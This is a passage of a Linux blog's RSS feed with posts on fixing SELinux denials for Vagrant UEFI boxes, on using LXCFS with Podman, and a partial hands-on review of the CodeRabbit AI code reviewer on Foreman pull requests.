&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/machine.rb:248:in 'Vagrant::Machine#action_raw'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/machine.rb:217:in 'block in Vagrant::Machine#action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/environment.rb:631:in 'Vagrant::Environment#lock'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/machine.rb:203:in 'Method#call'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/machine.rb:203:in 'Vagrant::Machine#action'&lt;/span&gt;
&lt;span class="go"&gt;    from /usr/share/vagrant/gems/gems/vagrant-2.3.4/lib/vagrant/batch_action.rb:86:in 'block (2 levels) in Vagrant::BatchAction#run'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The important part here is&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;Call to virDomainCreate failed: internal error: process exited while connecting to monitor:
2025-09-22T10:07:55.081081Z qemu-system-x86_64: -blockdev {"driver":"file","filename":"/home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd","node-name":"libvirt-pflash0-storage","auto-read-only":true,"discard":"unmap"}:
Could not open '/home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd': Permission denied (Libvirt::Error)
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course we checked that the file permissions on this file are correct (I'll save you the &lt;code&gt;ls&lt;/code&gt; output), so what's next?
Yes, of course, SELinux!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;# &lt;/span&gt;ausearch&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;AVC
&lt;span class="go"&gt;time-&amp;gt;Mon Sep 22 12:07:55 2025&lt;/span&gt;
&lt;span class="go"&gt;type=AVC msg=audit(1758535675.080:1613): avc:  denied  { read } for  pid=257204 comm="qemu-system-x86" name="OVMF_CODE.fd" dev="dm-2" ino=1883946 scontext=unconfined_u:unconfined_r:svirt_t:s0:c352,c717 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file permissive=0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A process in the &lt;code&gt;svirt_t&lt;/code&gt; domain tries to access something in the &lt;code&gt;user_home_t&lt;/code&gt; domain and is denied by the kernel.
So far, SELinux is both working as designed and preventing us from doing our work, nice.&lt;/p&gt;
&lt;p&gt;For "normal" (non-UEFI) boxes, Vagrant uploads the image to libvirt, which stores it in &lt;code&gt;~/.local/share/libvirt/images/&lt;/code&gt; and boots fine from there.
For UEFI boxen, one also needs &lt;code&gt;loader&lt;/code&gt; and &lt;code&gt;nvram&lt;/code&gt; files, which Vagrant keeps in &lt;code&gt;~/.vagrant.d/boxes/&amp;lt;box_name&amp;gt;&lt;/code&gt; and that's what explodes in our face here.&lt;/p&gt;
&lt;p&gt;As &lt;code&gt;~/.local/share/libvirt/images/&lt;/code&gt; works well, and is labeled &lt;code&gt;svirt_home_t&lt;/code&gt; let's see what other folders use that label:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;# &lt;/span&gt;semanage&lt;span class="w"&gt; &lt;/span&gt;fcontext&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;svirt_home_t
&lt;span class="go"&gt;/home/[^/]+/\.cache/libvirt/qemu(/.*)?             all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;/home/[^/]+/\.config/libvirt/qemu(/.*)?            all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;/home/[^/]+/\.libvirt/qemu(/.*)?                   all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;/home/[^/]+/\.local/share/gnome-boxes/images(/.*)? all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;/home/[^/]+/\.local/share/libvirt/boot(/.*)?       all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;/home/[^/]+/\.local/share/libvirt/images(/.*)?     all files          unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Okay, that all makes sense, and it's just missing the Vagrant-specific folders!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;# &lt;/span&gt;semanage&lt;span class="w"&gt; &lt;/span&gt;fcontext&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;svirt_home_t&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/home/[^/]+/\.vagrant.d/boxes(/.*)?'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now relabel the Vagrant boxes:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;restorecon&lt;span class="w"&gt; &lt;/span&gt;-rv&lt;span class="w"&gt; &lt;/span&gt;~/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13 from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/metadata_url from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12 from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/box_0.img from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/metadata.json from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/Vagrantfile from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_VARS.fd from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/box_update_check from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;span class="go"&gt;Relabeled /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/efivars.fd from unconfined_u:object_r:user_home_t:s0 to unconfined_u:object_r:svirt_home_t:s0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And it works!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;vagrant&lt;span class="w"&gt; &lt;/span&gt;up
&lt;span class="go"&gt;Bringing machine 'default' up with 'libvirt' provider...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Checking if box 'boxen/debian-13' version '2025.08.20.12' is up to date...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating image (snapshot of base box volume).&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating domain with the following settings...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Name:              tmp.JV8X48n30U_default&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Description:       Source: /tmp/tmp.JV8X48n30U/Vagrantfile&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Domain type:       kvm&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Cpus:              1&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           acpi&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           apic&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Feature:           pae&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Clock offset:      utc&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Memory:            2048M&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Loader:            /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/OVMF_CODE.fd&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Nvram:             /home/evgeni/.vagrant.d/boxes/boxen-VAGRANTSLASH-debian-13/2025.08.20.12/libvirt/efivars.fd&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Base box:          boxen/debian-13&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Storage pool:      default&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Image(vda):        /home/evgeni/.local/share/libvirt/images/tmp.JV8X48n30U_default.img, virtio, 20G&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Disk driver opts:  cache='default'&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics Type:     vnc&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video Type:        cirrus&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video VRAM:        16384&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Video 3D accel:    false&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Keymap:            en-us&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- TPM Backend:       passthrough&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- INPUT:             type=mouse, bus=ps2&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- CHANNEL:             type=unix, mode=&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- CHANNEL:             target_type=virtio, target_name=org.qemu.guest_agent.0&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Creating shared folders metadata...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Starting domain.&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Domain launching with graphics connection settings...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics Port:      5900&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics IP:        127.0.0.1&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics Password:  Not defined&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default:  -- Graphics Websocket: 5700&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Waiting for domain to get an IP address...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Waiting for machine to boot. This may take a few minutes...&lt;/span&gt;
&lt;span class="go"&gt;    default: SSH address: 192.168.124.157:22&lt;/span&gt;
&lt;span class="go"&gt;    default: SSH username: vagrant&lt;/span&gt;
&lt;span class="go"&gt;    default: SSH auth method: private key&lt;/span&gt;
&lt;span class="go"&gt;    default:&lt;/span&gt;
&lt;span class="go"&gt;    default: Vagrant insecure key detected. Vagrant will automatically replace&lt;/span&gt;
&lt;span class="go"&gt;    default: this with a newly generated keypair for better security.&lt;/span&gt;
&lt;span class="go"&gt;    default:&lt;/span&gt;
&lt;span class="go"&gt;    default: Inserting generated public key within guest...&lt;/span&gt;
&lt;span class="go"&gt;    default: Removing insecure key from the guest if it's present...&lt;/span&gt;
&lt;span class="go"&gt;    default: Key inserted! Disconnecting and reconnecting using new SSH key...&lt;/span&gt;
&lt;span class="go"&gt;==&amp;gt; default: Machine booted and ready!&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;</description><category>english</category><category>linux</category><category>planet-debian</category><category>selinux</category><category>software</category><guid>https://www.die-welt.net/2025/09/booting-vagrant-boxes-with-uefi-on-fedora-permission-denied/</guid><pubDate>Mon, 22 Sep 2025 10:37:23 GMT</pubDate></item><item><title>Using LXCFS together with Podman</title><link>https://www.die-welt.net/2025/06/using-lxcfs-together-with-podman/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;&lt;a href="https://jpmens.net/"&gt;JP&lt;/a&gt; was puzzled that &lt;a href="https://mastodon.social/@jpmens/114739374946337243"&gt;using &lt;code&gt;podman run --memory=2G …&lt;/code&gt; would not result in the 2G limit being visible inside the container&lt;/a&gt;.
While we were able to identify this as a visualization problem — tools like &lt;code&gt;free(1)&lt;/code&gt; only look at &lt;code&gt;/proc/meminfo&lt;/code&gt; and that is not virtualized inside a container, you'd have to look at &lt;code&gt;/sys/fs/cgroup/memory.max&lt;/code&gt; and friends instead — I couldn't leave it at that.
And then I remembered there is actually something that can provide a virtual (cgroup-aware) &lt;code&gt;/proc&lt;/code&gt; for containers: &lt;a href="https://linuxcontainers.org/lxcfs/introduction/"&gt;LXCFS&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;But does it work with Podman?!
I always used it with LXC, but there is technically no reason why it wouldn't work with a different container solution — cgroups are cgroups after all.&lt;/p&gt;
&lt;p&gt;As we all know: there is only one way to find out!&lt;/p&gt;
&lt;p&gt;Take a fresh Debian 12 VM, install &lt;code&gt;podman&lt;/code&gt; and verify things behave as expected:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;user@debian12:~$ &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;-ti&lt;span class="w"&gt; &lt;/span&gt;--rm&lt;span class="w"&gt; &lt;/span&gt;--memory&lt;span class="o"&gt;=&lt;/span&gt;2G&lt;span class="w"&gt; &lt;/span&gt;centos:stream9
&lt;span class="go"&gt;bash-5.1# grep MemTotal /proc/meminfo&lt;/span&gt;
&lt;span class="go"&gt;MemTotal:        6067396 kB&lt;/span&gt;
&lt;span class="go"&gt;bash-5.1# cat /sys/fs/cgroup/memory.max&lt;/span&gt;
&lt;span class="go"&gt;2147483648&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And after installing (and starting) &lt;code&gt;lxcfs&lt;/code&gt;, we can use the virtual &lt;code&gt;/proc/meminfo&lt;/code&gt; it generates by bind-mounting it into the container (LXC does that part automatically for us):&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;user@debian12:~$ &lt;/span&gt;podman&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;-ti&lt;span class="w"&gt; &lt;/span&gt;--rm&lt;span class="w"&gt; &lt;/span&gt;--memory&lt;span class="o"&gt;=&lt;/span&gt;2G&lt;span class="w"&gt; &lt;/span&gt;--mount&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bind,source&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/lxcfs/proc/meminfo,destination&lt;span class="o"&gt;=&lt;/span&gt;/proc/meminfo&lt;span class="w"&gt; &lt;/span&gt;centos:stream9
&lt;span class="go"&gt;bash-5.1# grep MemTotal /proc/meminfo&lt;/span&gt;
&lt;span class="go"&gt;MemTotal:        2097152 kB&lt;/span&gt;
&lt;span class="go"&gt;bash-5.1# cat /sys/fs/cgroup/memory.max&lt;/span&gt;
&lt;span class="go"&gt;2147483648&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The same of course works with all the other proc entries &lt;code&gt;lxcfs&lt;/code&gt; provides (&lt;code&gt;cpuinfo&lt;/code&gt;, &lt;code&gt;diskstats&lt;/code&gt;, &lt;code&gt;loadavg&lt;/code&gt;, &lt;code&gt;meminfo&lt;/code&gt;, &lt;code&gt;slabinfo&lt;/code&gt;, &lt;code&gt;stat&lt;/code&gt;, &lt;code&gt;swaps&lt;/code&gt;, and &lt;code&gt;uptime&lt;/code&gt; here), just bind-mount them.&lt;/p&gt;
&lt;p&gt;And yes, &lt;code&gt;free(1)&lt;/code&gt; now works too!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="go"&gt;bash-5.1# free -m&lt;/span&gt;
&lt;span class="go"&gt;               total        used        free      shared  buff/cache   available&lt;/span&gt;
&lt;span class="go"&gt;Mem:            2048           3        1976           0          67        2044&lt;/span&gt;
&lt;span class="go"&gt;Swap:              0           0           0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Just don't blindly mount the whole &lt;code&gt;/var/lib/lxcfs/proc&lt;/code&gt; over the container's &lt;code&gt;/proc&lt;/code&gt;.
It did work (as in: "&lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; didn't crash") for me, but with &lt;code&gt;/proc/$PID&lt;/code&gt; etc missing, I bet things will go south pretty quickly.&lt;/p&gt;</description><category>containers</category><category>english</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2025/06/using-lxcfs-together-with-podman/</guid><pubDate>Tue, 24 Jun 2025 19:46:34 GMT</pubDate></item><item><title>Arguing with an AI or how Evgeni tried to use CodeRabbit</title><link>https://www.die-welt.net/2025/06/arguing-with-an-ai-or-how-evgeni-tried-to-use-coderabbit/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;Everybody is trying out AI assistants these days, so I figured I'd jump on that train and see how fast it derails.&lt;/p&gt;
&lt;p&gt;I went with &lt;a href="https://www.coderabbit.ai/"&gt;CodeRabbit&lt;/a&gt; because I've seen it on YouTube — ads work, I guess.&lt;/p&gt;
&lt;p&gt;I am trying to answer the following questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Did the AI find things that humans did not find (or didn't bother to mention)&lt;/li&gt;
&lt;li&gt;Did the AI output help the humans with the review (useful summary etc)&lt;/li&gt;
&lt;li&gt;Did the AI output help the humans with the code (useful suggestions etc)&lt;/li&gt;
&lt;li&gt;Was the AI output misleading?&lt;/li&gt;
&lt;li&gt;Was the AI output distracting?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To reduce the amount of output and not to confuse contributors, CodeRabbit was configured to only do reviews on demand.&lt;/p&gt;
&lt;p&gt;What follows is a rather unscientific evaluation of CodeRabbit based on PRs in two Foreman-related repositories,
looking at the summaries CodeRabbit posted as well as the comments/suggestions it had about the code.&lt;/p&gt;
&lt;h2&gt;Ansible 2.19 support&lt;/h2&gt;
&lt;p&gt;PR: &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/1848"&gt;theforeman/foreman-ansible-modules#1848&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;summary posted&lt;/h3&gt;
&lt;p&gt;The summary CodeRabbit posted is &lt;em&gt;technically&lt;/em&gt; correct.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This update introduces several changes across CI configuration, Ansible roles, plugins, and test playbooks. It expands CI test coverage to a new Ansible version, adjusts YAML key types in test variables, refines conditional logic in Ansible tasks, adds new default variables, and improves clarity and consistency in playbook task definitions and debug output.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yeah, it does all of that, all right.
But it kinda misses the point that the addition here is "Ansible 2.19 support", which starts with adding it to the CI matrix and then adjusting the code to actually work with that version.
Also, the changes are not for "clarity" or "consistency", they are fixing bugs in the code that the older Ansible versions accepted, but the new one is more strict about.&lt;/p&gt;
&lt;p&gt;Then it adds a table with the changed files and what changed in there.
To me, as the author, it felt redundant, and IMHO doesn't add any clarity to understand the changes.
(And yes, same "clarity" vs bugfix mistake here, but that makes sense as it apparently miss-identified the change reason)&lt;/p&gt;
&lt;p&gt;And then the sequence diagrams…
They probably help if you have a dedicated change to a library or a library consumer,
but for this PR it's just noise, especially as it only covers two of the changes (addition of 2.19 to the test matrix and a change to the inventory plugin), completely ignoring other important parts.&lt;/p&gt;
&lt;p&gt;Overall verdict: noise, don't need this.&lt;/p&gt;
&lt;h3&gt;comments posted&lt;/h3&gt;
&lt;p&gt;CodeRabbit also posted 4 comments/suggestions to the changes.&lt;/p&gt;
&lt;h4&gt;Guard against undefined &lt;code&gt;result.task&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;IMHO a valid suggestion, even if on the picky side as I am not sure how to make it undefined here.
I ended up implementing it, even if with slightly different (and IMHO better readable) syntax.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Probably.&lt;/li&gt;
&lt;li&gt;Useful suggestion? So-So.&lt;/li&gt;
&lt;li&gt;Wasted time? No.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Inconsistent pipeline in &lt;code&gt;when&lt;/code&gt; for composite CV versions&lt;/h4&gt;
&lt;p&gt;That one was funny! The original complaint was that the &lt;code&gt;when&lt;/code&gt; condition used slightly different data manipulation than the data that was passed when the condition was &lt;code&gt;true&lt;/code&gt;.
The code was supposed to do "clean up the data, but only if there are any items left after removing the first 5, as we always want to keep 5 items".&lt;/p&gt;
&lt;p&gt;And I do agree with the analysis that it's badly maintainable code.
But the suggested fix was to re-use the data in the variable we later use for performing the cleanup.
While this is (to my surprise!) valid Ansible syntax, it didn't make the code much more readable as you need to go and look at the variable definition.&lt;/p&gt;
&lt;p&gt;The better suggestion then came from Ewoud: to compare the length of the data with the number we want to keep.
Humans, so smart!&lt;/p&gt;
&lt;p&gt;But Ansible is not Ewoud's native turf, so he asked whether there is a more elegant way to count how much data we have than to use &lt;code&gt;| list | count&lt;/code&gt; in Jinja (the data comes from a Python generator, so needs to be converted to a &lt;code&gt;list&lt;/code&gt; first).&lt;/p&gt;
&lt;p&gt;And the AI helpfully suggested to use &lt;code&gt;| count&lt;/code&gt; instead!&lt;/p&gt;
&lt;p&gt;However, &lt;code&gt;count&lt;/code&gt; is just an alias for &lt;code&gt;length&lt;/code&gt; in Jinja, so it behaves identically and needs a &lt;code&gt;list&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Luckily the AI quickly apologized for being wrong after being pointed at the Jinja source and didn't try to waste my time any further.
Wouldn't I have known about the &lt;code&gt;count&lt;/code&gt; alias, we'd have committed that suggestion and let CI fail before reverting again.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Yes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Apply the same fix for non-composite CV versions&lt;/h4&gt;
&lt;p&gt;The very same complaint was posted a few lines later, as the logic there is very similar — just slightly different data to be filtered and cleaned up.&lt;/p&gt;
&lt;p&gt;Interestingly, here the suggestion also was to use the variable.
But there is no variable with the data!&lt;/p&gt;
&lt;p&gt;The text actually says one need to "define" it, yet the "committable suggestion" doesn't contain that part.&lt;/p&gt;
&lt;p&gt;Interestingly, when asked where it sees the "inconsistency" in that hunk, it said the inconsistency is with the composite case above.
That however is nonsense, as while we want to keep the same number of composite and non-composite CV versions,
the data used in the task is different — it even gets consumed by a totally different playbook — so there can't be any real consistency between the branches.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes (the expression really could use some cleanup).&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Yes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I ended up applying the same logic as suggested by Ewoud above.
As &lt;em&gt;that&lt;/em&gt; refactoring was possible in a consistent way.&lt;/p&gt;
&lt;h4&gt;Ensure consistent naming for Oracle Linux subscription defaults&lt;/h4&gt;
&lt;p&gt;One of the changes in Ansible 2.19 is that Ansible fails when there are undefined variables, even if they are only undefined for cases where they are unused.&lt;/p&gt;
&lt;p&gt;CodeRabbit complains that the names of the defaults I added are inconsistent.
And that is technically correct.
But those names are already used in other places in the code, so I'd have to refactor more to make it work properly.&lt;/p&gt;
&lt;p&gt;Once being pointed at the fact that the variables already exist,
the AI is as usual quick to apologize, yay.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Technically, yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Yes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;add new parameters to the repository module&lt;/h2&gt;
&lt;p&gt;PR: &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/1860"&gt;theforeman/foreman-ansible-modules#1860&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;summary posted&lt;/h3&gt;
&lt;p&gt;Again, the summary is &lt;em&gt;technically&lt;/em&gt; correct&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The repository module was updated to support additional parameters for repository synchronization and authentication. New options were added for ansible collections, ostree, Python packages, and yum repositories, including authentication tokens, filtering controls, and version retention settings. All changes were limited to module documentation and argument specification.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But it doesn't add anything you'd not get from looking at the diff, especially as it contains a large documentation chunk explaining those parameters.&lt;/p&gt;
&lt;p&gt;No sequence diagram this time.
That's a good thing!&lt;/p&gt;
&lt;p&gt;Overall verdict: noise (even if the amount is small), don't need this.&lt;/p&gt;
&lt;h3&gt;comments posted&lt;/h3&gt;
&lt;p&gt;CodeRabbit generated two comments for this PR.&lt;/p&gt;
&lt;p&gt;Interestingly, none of them overlapped with the issues &lt;code&gt;ansible-lint&lt;/code&gt; and friends found.&lt;/p&gt;
&lt;h4&gt;get rid of the FIXMEs&lt;/h4&gt;
&lt;p&gt;Yepp, that's fair&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope. (But it's not possible in this case!)&lt;/li&gt;
&lt;li&gt;Wasted time? No.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;add validation for the new parameters&lt;/h4&gt;
&lt;p&gt;Yepp, I forgot these (not intentionally!).&lt;/p&gt;
&lt;p&gt;The diff it suggests is nonsense, as it doesn't take into account the existing Ansible and Yum validations, but it clearly has read them as the style etc of the new ones matches.
It also managed to group the parameters correctly by repository type, so it's something.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ansible_collection&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
